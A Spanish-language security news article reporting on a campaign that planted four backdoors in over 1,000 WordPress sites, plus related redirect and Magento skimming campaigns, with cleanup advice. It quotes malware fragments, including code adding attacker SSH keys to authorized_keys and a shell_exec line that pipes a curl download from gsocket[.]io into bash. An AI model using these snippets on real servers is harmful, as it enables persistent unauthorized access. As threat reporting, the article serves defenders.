Un nuevo ataque dirigido a WordPress compromete más de mil sitios web a través de un script malicioso que introduce múltiples puertas traseras, permitiendo a los atacantes el acceso persistente a los servidores afectados.
Un reciente análisis de c/side, liderado por el investigador Himanshu Anand, ha revelado una campaña de ciberataques en la que más de 1.000 sitios web basados en WordPress han sido infectados con un código JavaScript malicioso. Este código, cargado desde el dominio cdn.csyndication[.]com, introduce cuatro puertas traseras independientes, lo que permite a los atacantes múltiples puntos de acceso en caso de que uno sea detectado y eliminado.
Hasta la fecha, se ha identificado la presencia de este código en al menos 908 sitios web y se teme que la cifra siga aumentando.
El ataque destaca por el uso de cuatro mecanismos distintos de puerta trasera, diseñados para garantizar la permanencia del atacante en el sistema comprometido:
El ataque comienza con la instalación del plugin malicioso a través de una petición POST a la página de carga de plugins de WordPress, utilizando un nonce (token de seguridad) para evitar protección contra CSRF. El código del plugin está diseñado para ocultarse del panel de administración de WordPress, haciendo difícil su detección manual.
El archivo ZIP del plugin, identificado con el hash 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be, incluye:
wp-config.phpEl script malicioso también modifica archivos críticos de WordPress para incluir código que garantiza su ejecución en cada carga de la página:
$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';
Este fragmento ejecuta código oculto en segundo plano cada vez que se carga WordPress, asegurando que el ataque siga activo incluso si se eliminan otros archivos infectados.
Para garantizar acceso persistente al servidor, los atacantes agregan su propia clave SSH en el archivo ~/.ssh/authorized_keys, lo que les permite iniciar sesión sin necesidad de una contraseña:
$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys'; @file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...'); @file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');
gsocket[.]ioFinalmente, el script también intenta establecer una conexión con un servidor externo para recibir instrucciones remotas y ejecutar comandos arbitrarios en el servidor comprometido:
$my_execution = function($cmd) {
return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');
Esto permite a los atacantes tomar control completo del servidor, ejecutar comandos arbitrarios y desplegar nuevas cargas maliciosas.
Paralelamente, otra campaña de malware ha infectado más de 35.000 sitios web con código JavaScript malicioso que secuestra las ventanas del navegador y redirige a los visitantes a plataformas de apuestas en chino.
El ataque utiliza cinco dominios para cargar el código principal y realizar las redirecciones:
mlbetjs[.]comptfafajs[.]comzuizhongjs[.]comjbwzzzjs[.]comjpbkte[.]comSe sospecha que estos ataques están dirigidos a usuarios de habla mandarín, ya que las páginas de destino contienen contenido de apuestas bajo la marca Kaiyun.
En un informe separado, la firma Group-IB ha identificado una campaña de inyección de JavaScript en Magento llevada a cabo por un grupo denominado ScreamedJungle. Este ataque tiene como objetivo recopilar huellas digitales de los visitantes de sitios web de comercio electrónico.
El malware, llamado Bablosoft JS, forma parte del kit de automatización BrowserAutomationStudio (BAS) y explota vulnerabilidades en Magento para extraer datos de los usuarios sin su conocimiento.
Entre las vulnerabilidades aprovechadas se encuentran:
Estos exploits permiten la compromisión de más de 115 tiendas en línea, lo que supone un grave riesgo para la seguridad de la información de los clientes.
Dado que este tipo de infecciones pueden pasar desapercibidas, se recomienda tomar medidas inmediatas para eliminar cualquier rastro del ataque en sitios WordPress.
✅ Eliminar plugins maliciosos:
✅ Revisar archivos críticos:
.htaccess en busca de código sospechoso.✅ Verificar claves SSH:
~/.ssh/authorized_keys y elimina cualquier clave SSH desconocida.✅ Restablecer credenciales:
✅ Supervisar la actividad del servidor:
/var/log/auth.log en Linux) en busca de intentos de acceso sospechosos.✅ Escaneo de seguridad:
Los ataques contra WordPress y plataformas de comercio electrónico como Magento están en aumento, y los ciberdelincuentes están utilizando tácticas cada vez más sofisticadas.
El uso de JavaScript de terceros como vector de ataque no es una novedad, pero la combinación de múltiples puertas traseras para garantizar persistencia es una estrategia particularmente peligrosa.
Ante esta amenaza, los administradores de sitios web deben mantener un monitoreo constante, aplicar actualizaciones de seguridad y reforzar las medidas de protección para evitar compromisos que podrían derivar en robo de información, acceso no autorizado o incluso la toma de control total del servidor.
